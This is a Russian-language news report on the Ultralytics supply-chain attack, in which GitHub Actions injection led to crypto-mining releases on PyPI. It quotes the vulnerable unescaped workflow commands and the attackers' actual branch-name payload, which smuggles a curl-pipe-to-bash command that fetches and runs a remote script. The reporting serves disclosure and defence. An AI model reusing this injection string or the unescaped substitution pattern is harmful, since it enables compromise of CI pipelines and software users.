Ошибка Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ GitHub Actions ΠΏΡ€ΠΈΠ²Π΅Π»Π° ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ врСдоносных Ρ€Π΅Π»ΠΈΠ·ΠΎΠ² Ultralytics

Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ смогли Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ с ΠΏΡ€Π°Π²Π°ΠΌΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° GitHub Actions Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Python-Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Ultralytics, примСняСмой для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π·Π°Π΄Π°Ρ‡ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠ³ΠΎ зрСния, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° изобраТСниях ΠΈ сСгмСнтированиС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. ПослС получСния доступа ΠΊ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΡŽ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΈ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ PyPI нСсколько Π½ΠΎΠ²Ρ‹Ρ… Ρ€Π΅Π»ΠΈΠ·ΠΎΠ² Ultralytics, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΡ… врСдоносныС измСнСния для ΠΌΠ°ΠΉΠ½ΠΈΠ½Π³Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡŽΡ‚. Π—Π° послСдний мСсяц Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Ultralytics Π±Ρ‹Π»Π° Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π° ΠΈΠ· ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° PyPI Π±ΠΎΠ»Π΅Π΅ 6.4 ΠΌΠ»Π½ Ρ€Π°Π·.

Для ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΠΈ рСпозитория Π±Ρ‹Π»Π° задСйствована ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π² ΠΏΠ°ΠΊΠ΅Ρ‚Π΅ ultralytics-actions, примСняСмом для автоматичСского запуска ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΏΡ€ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… дСйствий с Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠ΅ΠΌ Π½Π° GitHub, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ GitHub Actions. Π’ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ ultralytics уязвимый ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ привязывался ΠΊ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ pull_request_target ΠΈ вызывался ΠΏΡ€ΠΈ поступлСнии Π½ΠΎΠ²Ρ‹Ρ… pull-запросов. Π’ частности, для форматирования ΠΊΠΎΠ΄Π° Π² присылаСмых pull-запросах вызывался ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ format.yml ΠΈ выполнялся ΠΊΠΎΠ΄, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² сСкции «run» Ρ„Π°ΠΉΠ»Π° action.yml, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ присутствовали shell-ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ с шаблонами подстановки: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»

Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π² shell-ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π±Π΅Π· Π΄ΠΎΠ»ΠΆΠ½ΠΎΠ³ΠΎ экранирования ΠΏΠΎΠ΄ΡΡ‚Π°Π²Π»ΡΠ»ΠΎΡΡŒ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Git-Π²Π΅Ρ‚ΠΊΠΈ, ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π΅ΠΌΠΎΠΉ Π² pull-запросС. ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‡Ρ‚ΠΎ Π² августС Π² ΠΏΠ°ΠΊΠ΅Ρ‚Π΅ ultralytics-actions ΡƒΠΆΠ΅ ΠΈΡΠΏΡ€Π°Π²Π»ΡΠ»Π°ΡΡŒ похоТая ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ, связанная с использованиСм внСшнСго значСния Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ echo: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»

Для ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ выполнСния своСго ΠΊΠΎΠ΄Π° Π² контСкстС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° GitHub Actions Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ»ΠΈ pull-запрос Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ ultralytics, ΡƒΠΊΠ°Π·Π°Π² Π² качСствС ΠΈΠΌΠ΅Π½ΠΈ Π²Π΅Ρ‚ΠΊΠΈ: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

БоотвСтствСнно, ΠΏΡ€ΠΈ поступлСнии pull-запроса Π² ΠΊΠΎΠ΄ ΠΏΠΎΠ΄ΡΡ‚Π°Π²ΠΈΠ»Π°ΡΡŒ заданная Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΌΠΈ строка «$(…)», которая ΠΏΡ€ΠΈ ΠΏΡ€ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ запускС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΏΡ€ΠΈΠ²Π΅Π»Π° ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠ΄Π° «curl -sSfL raw.githubusercontent.com/…/file.sh | bash».

Ошибка Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ GitHub Actions ΠΏΡ€ΠΈΠ²Π΅Π»Π° ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ врСдоносных Ρ€Π΅Π»ΠΈΠ·ΠΎΠ² Ultralytics

Запуск ΠΊΠΎΠ΄Π° Π² контСкстС GitHub Actions ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Π·Π°Ρ…Π²Π°Ρ‚Π° Ρ‚ΠΎΠΊΠ΅Π½Π° доступа ΠΊ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΡŽ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Как ΠΈΠΌΠ΅Π½Π½ΠΎ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΌ ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π΅Π»ΠΈΠ·, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ² Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ выполнСния своСго ΠΊΠΎΠ΄Π° Π² GitHub Actions, ΠΏΠΎΠΊΠ° Ρ‚ΠΎΡ‡Π½ΠΎ Π½Π΅ ясно, прСдполагаСтся, Ρ‡Ρ‚ΠΎ это стало Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ благодаря измСнСнию ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° publish.yml (Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠ΅ ΡƒΠ±Ρ€Π°Π»ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π΅Π»ΠΈΠ·Ρ‹ Π² PyPI) ΠΈ использованию Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ отравлСния сборочного кэша GitHub Actions для подстановки своих Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ€Π΅Π»ΠΈΠ·.

ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ врСдоносный Ρ€Π΅Π»ΠΈΠ· Ultralytics 8.3.41 Π±Ρ‹Π» ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌΠΈ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ PyPI 4 дСкабря Π² 23:51 (MSK) ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½ Π² 12:15 Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ дСнь. Π’ 15:47 Π±Ρ‹Π» Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Ρ€Π΅Π»ΠΈΠ· 8.3.42, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ Π² 16:47. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ врСдоносныС вСрсии Π² ΠΎΠ±Ρ‰Π΅ΠΉ слоТности Π±Ρ‹Π»ΠΈ доступны для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΎΠΊΠΎΠ»ΠΎ 13 часов (Π² дСнь Π² PyPI фиксируСтся ΠΎΠΊΠΎΠ»ΠΎ 250 тысяч Π·Π°Π³Ρ€ΡƒΠ·ΠΎΠΊ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ ultralytics). Π’ составС выпусков 8.3.41 ΠΈ 8.3.42 присутствовал ΠΊΠΎΠ΄, ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ с внСшнСго сСрвСра ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° XMRig для ΠΌΠ°ΠΉΠ½ΠΈΠ½Π³Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡŽΡ‚Ρ‹.

Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° устранили ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ ΠΈ сформировали ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Ρ€Π΅Π»ΠΈΠ·Ρ‹ 8.3.43 ΠΈ 8.3.44, Π½ΠΎ спустя Π΄Π²Π° дня Π±Ρ‹Π»Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π° Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Π° Π°Ρ‚Π°ΠΊΠ°, Π² Ρ…ΠΎΠ΄Π΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΈ сСгодня Π² 04:41 ΠΈ 05:27 (MSK) Π΄Π²Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… врСдоносных Ρ€Π΅Π»ΠΈΠ·Π° — 8.3.45 ΠΈ 8.3.46, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ для ΠΌΠ°ΠΉΠ½ΠΈΠ½Π³Π°. Π”ΠΎ окончания Ρ€Π°Π·Π±ΠΈΡ€Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ рСкомСндуСтся ΠΏΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½ΠΈΡ‚ΡŒ с установкой Π½ΠΎΠ²Ρ‹Ρ… вСрсий ΠΈ Π·Π°Ρ„ΠΈΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π² зависимостях выпуск 8.3.44.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru